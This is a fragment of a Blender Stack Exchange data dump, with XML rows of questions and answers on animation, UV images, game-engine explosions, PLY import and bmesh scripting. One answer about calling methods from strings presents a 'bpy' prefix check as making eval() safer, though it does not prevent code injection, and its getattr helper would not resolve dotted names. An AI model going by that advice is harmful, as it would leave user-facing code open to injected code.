OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-31T12:25:30.640" LastActivityDate="2015-08-31T12:25:30.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36774" PostTypeId="1" AcceptedAnswerId="36786" CreationDate="2015-08-31T11:36:42.707" Score="8" ViewCount="20580" Body="&lt;p&gt;i have a character rig animated. I tried to &quot;copy and paste&quot; in curve editor the animation from rig to another one but seems not to be the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i transfer animation from a rig to another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16647" LastActivityDate="2017-08-01T03:42:50.340" Title="Copy animation from rig to rig" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36778" PostTypeId="1" CreationDate="2015-08-31T11:57:16.160" Score="1" ViewCount="97" Body="&lt;p&gt;I am trying to save images from Blenders uv editor with transparent background but opacity on the painted parts. How can I achieve this? The reason I want to do this is because I use a filter inside my painting app that blends all the colors of the edges on each shell to prevent bleeding. This is a huge time saver. See attached pictures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YK3m1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YK3m1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14034" LastActivityDate="2015-08-31T11:57:16.160" Title="Saving images with transparent spacing between islands" Tags="&lt;uv&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36779" PostTypeId="2" ParentId="36769" CreationDate="2015-08-31T11:59:08.353" Score="1" Body="&lt;p&gt;You have enabled &lt;strong&gt;Warp&lt;/strong&gt; in the Influence panel under Texture.15's tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RJywu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RJywu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that map you are displacing the geometry's vertices. I can't tell you why a Wrap with 0 influence mess all up and disabling it fix the problem, but is definetly that option that you have to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4zkpV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4zkpV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-31T13:51:16.357" LastActivityDate="2015-08-31T13:51:16.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36780" PostTypeId="1" CreationDate="2015-08-31T12:10:54.957" Score="2" ViewCount="716" Body="&lt;p&gt;I'm making a game in the blender game engine and i wanted to make a explosive, I've looked all over the internet, and blender.stackexchange, but no results other than videos. I cannot view long videos since as i have slow internet and a download limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to make it clear, i want a explosion, I've made one, pretty bad one but it works, but it does make things fly away, it just pushes them since as it's a expanding sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;download the .blend here: &lt;a href=&quot;https://www.dropbox.com/s/4psdrb2zf8xcs7x/Cube%20assault%20%3B%29.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/4psdrb2zf8xcs7x/Cube%20assault%20%3B%29.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11237" LastEditorUserId="11237" LastEditDate="2015-08-31T13:28:12.497" LastActivityDate="2015-08-31T13:28:12.497" Title="Creating an explosion in blender game engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36781" PostTypeId="1" AcceptedAnswerId="36784" CreationDate="2015-08-31T12:29:43.640" Score="2" ViewCount="51563" Body="&lt;p&gt;I am trying to execute a line of code, such as: &lt;code&gt;bpy.ops.object.modifier_add(type='SUBSURF')&lt;/code&gt; from a string of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;print(&quot;~~~Separator~~~&quot;)&#xA;&#xA;obj_list = []&#xA;task_list = []&#xA;&#xA;class ExportSomeData(bpy.types.Operator):&#xA;&quot;&quot;&quot;Test exporter which just writes hello world&quot;&quot;&quot;&#xA;bl_idname = &quot;export.some_data&quot;&#xA;bl_label = &quot;Export Some Data&quot;&#xA;&#xA;filepath = bpy.props.StringProperty(subtype=&quot;FILE_PATH&quot;)&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    if not obj_list:&#xA;        return False&#xA;    else:&#xA;        return True&#xA;&#xA;def callMethod(o, name):&#xA;    getattr(o, name)()&#xA;&#xA;def execute(self, context):&#xA;    global task_list&#xA;    file = open(self.filepath, 'r+')&#xA;    for line in file:&#xA;        task_list.append(line)&#xA;        callMethod(&quot;I don't know what to put here&quot;, line)&#xA;    print(str(task_list))&#xA;    file.close()&#xA;&#xA;    return {'FINISHED'}&#xA;&#xA;def invoke(self, context, event):&#xA;    context.window_manager.fileselect_add(self)&#xA;    return {'RUNNING_MODAL'}&#xA;&#xA;class SelectOperator(bpy.types.Operator):&#xA;&quot;&quot;&quot;Adds &quot;&quot;&quot;&#xA;bl_idname = &quot;scene.select_option&quot;&#xA;bl_label = &quot;Multi Select Operator&quot;&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    if not bpy.context.selected_objects:&#xA;        return False&#xA;    else:&#xA;        return True&#xA;&#xA;def execute(self, context):&#xA;    global obj_list&#xA;    obj_list = []&#xA;    for obj in bpy.context.selected_objects:&#xA;        obj_list.append(obj)&#xA;        print(str(obj))&#xA;    print(&quot;Objects in the active list: &quot; + str(obj_list))&#xA;    return {'FINISHED'}&#xA;&#xA;class TaskOperator(bpy.types.Operator):&#xA;&quot;&quot;&quot;Subdivide and scale a mesh.&quot;&quot;&quot;&#xA;bl_idname = &quot;scene.task_option&quot;&#xA;bl_label = &quot;Multi Task Operator&quot;&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    global obj_list&#xA;    if not obj_list:&#xA;        return False&#xA;    else:&#xA;        return True&#xA;&#xA;def execute(self, context):&#xA;    global obj_list&#xA;&#xA;    return {'FINISHED'}&#xA;&#xA;class SelectionPanel(bpy.types.Panel):&#xA;&#xA;bl_label = &quot;Multi Selection Options&quot;&#xA;bl_space_type = 'VIEW_3D'&#xA;bl_region_type = 'TOOLS'&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;&#xA;    row = layout.row()&#xA;&#xA;    split = layout.split()&#xA;&#xA;    col = split.column(align=True)&#xA;&#xA;    'row.operator(&quot;mesh.primitive_uv_sphere_add&quot;)'&#xA;&#xA;    col.operator(&quot;scene.select_option&quot;, text = &quot;Set Objects&quot;, icon = &quot;MESH_CUBE&quot;)&#xA;&#xA;    'row.operator(&quot;scene.task_option&quot;, text = &quot;Do Task&quot;, icon = &quot;LONGDISPLAY&quot;)'&#xA;&#xA;    col.operator(&quot;export.some_data&quot;, text = &quot;Open And Do Task&quot;, icon = &quot;FILE&quot;)&#xA;def register():&#xA;bpy.utils.register_class(SelectionPanel)&#xA;bpy.utils.register_class(SelectOperator)&#xA;bpy.utils.register_class(TaskOperator)&#xA;bpy.utils.register_class(ExportSomeData)&#xA;&#xA;def unregister():&#xA;bpy.utils.unregister_class(SelectionPanel)&#xA;bpy.utils.unregister_class(SelectOperator)&#xA;bpy.utils.unregister_class(TaskOperator)&#xA;bpy.utils.unregister_class(ExportSomeData)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is what is causing me trouble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def callMethod(o, name):&#xA;    getattr(o, name)()&#xA;&#xA;def execute(self, context):&#xA;    global task_list&#xA;    file = open(self.filepath, 'r+')&#xA;    for line in file:&#xA;        task_list.append(line)&#xA;        callMethod(&quot;I don't know what to put here&quot;, line)&#xA;    print(str(task_list))&#xA;    file.close()&#xA;&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line is &lt;code&gt;bpy.ops.object.modifier_add(type='SUBSURF')&lt;/code&gt;, but I don't know the object to put for the first parameter. If I am going the wrong direction with this, please correct me.&lt;/p&gt;&#xA;" OwnerUserId="16783" LastEditorUserId="34114" LastEditDate="2016-12-31T22:26:31.763" LastActivityDate="2016-12-31T22:26:31.763" Title="Calling a method from a string" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36782" PostTypeId="2" ParentId="36780" CreationDate="2015-08-31T12:36:46.517" Score="1" Body="&lt;p&gt;Expanding sphere (or hemisphere) is a good way to create an explosion. You might want to scale it faster.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-31T12:36:46.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36783" PostTypeId="1" AcceptedAnswerId="36859" CreationDate="2015-08-31T13:21:33.993" Score="8" ViewCount="10380" Body="&lt;p&gt;I'm trying to import a .PLY mesh in Blender.&#xA;I've troubles with colors: the mesh appear in a grayscale palette.&#xA;Other softwares open it correctly (eg. MeshLab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the header of the PLY file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ply&#xA;format binary_big_endian 1.0&#xA;comment created by Geomagic Sculpt Exporter.&#xA;element vertex 182488&#xA;property float x&#xA;property float y&#xA;property float z&#xA;property uchar red&#xA;property uchar green&#xA;property uchar blue&#xA;element face 364980&#xA;property list uchar int vertex_indices&#xA;end_header&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any tips? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2015-09-01T13:31:12.160" Title="Import PLY doesn't display vertex colors" Tags="&lt;import&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36784" PostTypeId="2" ParentId="36781" CreationDate="2015-08-31T13:26:43.923" Score="3" Body="&lt;p&gt;It looks like you are passing a whole function call to the &lt;code&gt;getattr()&lt;/code&gt; function as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getattr()&lt;/code&gt; takes an object as first argument and a string a second argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should do is &lt;strong&gt;isolate the object, the function and the params&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you isolated your object string (ie. &lt;code&gt;str=&quot;bpy.ops.object&quot;&lt;/code&gt;) you can isolate the object with a quick but unsafe &lt;code&gt;myObj = eval(str)&lt;/code&gt; or use a safer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;def str_to_class(str):&#xA;    return getattr(sys.modules[__name__], str)&#xA;&#xA;myObj = str_to_class(&quot;bpy.ops.object&quot;) #line added from original code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Code from &lt;a href=&quot;https://stackoverflow.com/questions/1176136/convert-string-to-python-class-object&quot;&gt;https://stackoverflow.com/questions/1176136/convert-string-to-python-class-object&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you should call getattr in this fashion:&lt;br&gt;&#xA;&lt;code&gt;getattr(myObj, 'myFunction')(params)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the specific case you presented it would look something like this in explicit form&lt;br&gt;&#xA;&lt;code&gt;getattr(bpy.ops.object, &quot;modifier_add&quot;)(type='SUBSURF')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;&lt;em&gt;&lt;code&gt;eval()&lt;/code&gt; is a very unsafe to use if there's some kind of user input, since the user could inject malicious code in &lt;code&gt;eval()&lt;/code&gt;'s parameter string.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; if security is not a concern, for any reason, you could also just &lt;code&gt;eval()&lt;/code&gt; the whole string. Just make sure not to share your code without a proper warning.&lt;br&gt;&#xA;If security is a concern, in both of the cases described above, you might want to apply a filter on the strings you pass to the converting function. Something like &lt;code&gt;if str[:3]==&quot;bpy&quot;: str_to_class(str) #or eval()&lt;/code&gt;. It makes things a little safer.&lt;/p&gt;&#xA;" OwnerUserId="14001" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-08-31T13:38:06.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36785" PostTypeId="2" ParentId="36748" CreationDate="2015-08-31T14:13:17.883" Score="9" Body="&lt;p&gt;You can animate textures using the &lt;strong&gt;&lt;em&gt;AnimAll&lt;/em&gt;&lt;/strong&gt; addon.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ogchZ.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ogchZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the addon (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;--&gt;Add-ons&lt;/em&gt;--&gt;&lt;strong&gt;&lt;em&gt;AnimAll&lt;/em&gt;&lt;/strong&gt;).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZsJpi.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZsJpi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unwrap your mesh (&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;--&gt;Unwrap&lt;/em&gt;). In &lt;em&gt;UV Editor&lt;/em&gt; open your texture.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CrSat.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrSat.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the &lt;strong&gt;&lt;em&gt;UVs&lt;/em&gt;&lt;/strong&gt; box in the &lt;em&gt;AnimAll&lt;/em&gt; panel. Go to the frame you like and place the &lt;em&gt;UV island&lt;/em&gt; in &lt;em&gt;UV Editor&lt;/em&gt; wherever you like (enable the &lt;em&gt;magnet icon&lt;/em&gt; and set its type to &lt;em&gt;Increment&lt;/em&gt; to move it precisely). Now press &lt;strong&gt;&lt;em&gt;Insert&lt;/em&gt;&lt;/strong&gt; button as pictured below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/u7iyt.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u7iyt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to another frame, change the position of the &lt;em&gt;UV island&lt;/em&gt; and press &lt;strong&gt;&lt;em&gt;Insert&lt;/em&gt;&lt;/strong&gt; again.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yGktm.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGktm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my other answers that uses an &lt;strong&gt;&lt;em&gt;Animall&lt;/em&gt;&lt;/strong&gt; adon, that may help you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/24251/how-to-create-motion-trail-in-cycles&quot;&gt;How to create Motion Trail in Cycles&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/18363/animating-eye-texture-in-a-head-mesh/18484#18484&quot;&gt;Animating eye texture in a head mesh&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/35887/how-to-create-and-apply-a-moving-texture&quot;&gt;https://blender.stackexchange.com/questions/35887/how-to-create-and-apply-a-moving-texture&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2016-01-05T18:40:26.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36786" PostTypeId="2" ParentId="36774" CreationDate="2015-08-31T14:16:09.387" Score="14" Body="&lt;p&gt;If (and only if) both rigs have the same structure, with same bones naming, so you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the first animated rig.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;dope sheet&lt;/strong&gt; window, choose &lt;strong&gt;Action Editor&lt;/strong&gt; context, in drop-down menu at the bottom:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ItNoa.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ItNoa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Just to the right, there is an &lt;strong&gt;Action browser&lt;/strong&gt; that allows you to choose the current animation of the selected object. Here you can name your action properly, to find it easily later.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7cQMN.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7cQMN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the second rig, then in click on the left button of this Action browser to display all existing actions, and select in the list the one you named before.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And that's it! Your second rig should have exactly the same animation as the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that if you change something in the first rig's animation, it will also change the second's one, since they share the same action. To avoid this, you can click on the &quot;2&quot; button (or any number that shows the number of users you have for the action) to make a single-user copy of the action and have two independent actions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QAZBY.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAZBY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-08-31T14:16:09.387" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36787" PostTypeId="2" ParentId="36746" CreationDate="2015-08-31T14:24:03.327" Score="5" Body="&lt;h2&gt;Align identical object by a twin tris&lt;/h2&gt;&#xA;&lt;p&gt;Let's suppose you have an object and another one, very similar to the first, and you want to overlay the two.&lt;/p&gt;&#xA;&lt;p&gt;If they are &lt;strong&gt;not&lt;/strong&gt; perfectlty identical, you should probably start an iterating computation that would progressively guess the function that best fit all the vertex positions...&lt;/p&gt;&#xA;&lt;p&gt;...if instead they are identical (as in your case), but with different transformations applied such as in the picture below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/imQzz.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/imQzz.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;the problem is much more simple. If you'll get able to align one triangular face to the corrispective one, the whole mesh will be aligned. I would suggest to use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Precise_Align&quot; rel=&quot;noreferrer&quot;&gt;Precise Align add-on&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Basically you have to activate edit mode of both object (one at time), select the same triangular faces by selecting the vertices in the same ordere and than create a parented empty with the add-on command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HTDBS.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HTDBS.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;These two empty are now associated with the mesh. All you have to do is to match position and rotation of the empty object and the two jaws will follow their trasformation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XVp2q.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVp2q.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overlapped!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jh97U.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jh97U.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Limit object's rotation&lt;/h2&gt;&#xA;&lt;p&gt;Easiest way to set up a moving jaw is to first of all add an empty that would represent the rotation pivot and than parent the upper jaw to it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EZk0a.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZk0a.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the jaw will follow empty's transfrormations.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3vYS3.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3vYS3.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add a &lt;strong&gt;Limit Rotation&lt;/strong&gt; constrain to the empty and assign min e max angles to limit the rotation of the jaw to a given range too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Credits: jaw's model by &lt;a href=&quot;http://www.blendswap.com/user/lucasfalcao&quot; rel=&quot;noreferrer&quot;&gt;lucasfalcao&lt;/a&gt; from &lt;a href=&quot;http://www.blendswap.com/blends/view/70261&quot; rel=&quot;noreferrer&quot;&gt;Blendswap&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-31T14:24:03.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36788" PostTypeId="1" CreationDate="2015-08-31T14:31:47.397" Score="3" ViewCount="429" Body="&lt;p&gt;It is really irritating the way that Smooth shrinks the entire selected contour, especially after several applications.  For me, this almost always introduces additional distortions that can be almost as hard to fix as the original irregularity of the surface I was trying to smooth.  Is there no version of the Smooth tool that will maintain the border vertices/edges in their exact position while smoothing all the vertices inside these borders?&lt;/p&gt;&#xA;" OwnerUserId="16814" LastActivityDate="2015-11-29T19:59:38.820" Title="Is there a way to smooth a selected patch of vertices but preserve the contour?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36789" PostTypeId="1" AcceptedAnswerId="36796" CreationDate="2015-08-31T14:56:27.343" Score="1" ViewCount="365" Body="&lt;p&gt;I want to create a short animation of the sun/moon rising and setting.&#xA;However I want to include some custom parameters to allow for the bending of light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To elaborate, I am not talking about refraction here - instead I am talking about a competely new capability of light to bend in an arc that starts horizontal near the ground and gradually ascends into the sky (like an exponential curve). So basically I want to be able to describe how light should travel - not in a straight line but in an arc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that this can be done in blender or do I need custom work done?&#xA;If custom work is needed, who should I get in touch with for it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16815" LastEditorUserId="16815" LastEditDate="2015-08-31T15:04:51.550" LastActivityDate="2015-08-31T15:42:10.563" Title="Light bending or custom rendering engine?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36790" PostTypeId="2" ParentId="36696" CreationDate="2015-08-31T15:00:56.427" Score="3" Body="&lt;p&gt;Ironically, we have an &quot;Actuator&quot; sensor. weird right?&#xA;all you have to do is set up one of these and it will send a positive pulse every time the specified actuator changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FAfZn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FAfZn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;strong&gt;(recommended)&lt;/strong&gt; you can simply hook the property actuator to the exact same sensor that your fire animation uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hLtNW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hLtNW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-31T15:00:56.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36791" PostTypeId="1" CreationDate="2015-08-31T15:05:15.670" Score="2" ViewCount="689" Body="&lt;p&gt;I would like to represent directions in a single edge in a mesh similar to a curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I cannot use curves themselves due to performance issues when dealing with huge amount of curves and not able to have more than 2 endpoints. Linked:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/36516/creating-handling-pathfinding-large-world-waypoints-in-blender&quot;&gt;Creating/Handling pathfinding large world waypoints in Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am thinking to represent the order of vertices in an edge as direction. Then I would simply either expose the direction via a gl draw or in the UI panel and also allow to invert the direction by deleting the edge and adding it again in opposite order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I add a place using the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    vertex1 = bm.verts.new((-0.5, -0.5, 0.0)) # 0&#xA;    vertex2 = bm.verts.new( (0.5, -0.5, 0.0)) # 1&#xA;    vertex3 = bm.verts.new( (0.5, 0.5, 0.0) ) # 2&#xA;    vertex4 = bm.verts.new( (-0.5, 0.5, 0.0)) # 3&#xA;&#xA;    bm.verts.index_update()&#xA;&#xA;    # How to create edges    &#xA;    bm.edges.new( (vertex1, vertex2) ) # 0 &#xA;    bm.edges.new( (vertex2, vertex3) ) # 1&#xA;    bm.edges.new( (vertex3, vertex4) ) # 2&#xA;    bm.edges.new( (vertex4, vertex1) ) # 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later when I access the bmesh again, using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    obj = bpy.context.edit_object&#xA;    me = obj.data &#xA;    bm = bmesh.from_edit_mesh(me)&#xA;&#xA;    # are the vertices stored in edge guarentee'd to be&#xA;    # in order at the time they were added&#xA;    bm.edges[0].verts[0] == bm.verts[0]&#xA;    bm.edges[0].verts[1] == bm.verts[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tested it and it does seem correct for few of my test cases. However, I would like to be certain.&lt;/p&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-09-01T11:12:40.320" Title="Does bmesh guarantee order of vertex in a edge according to the time they were added" Tags="&lt;python&gt;&lt;vertices&gt;&lt;edges&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36792" PostTypeId="2" ParentId="36753" CreationDate="2015-08-31T15:07:54.843" Score="0" Body="&lt;p&gt;Save texture image then disable &quot;Use Alpha&quot; at image properties.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2015-08-31T15:07:54.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
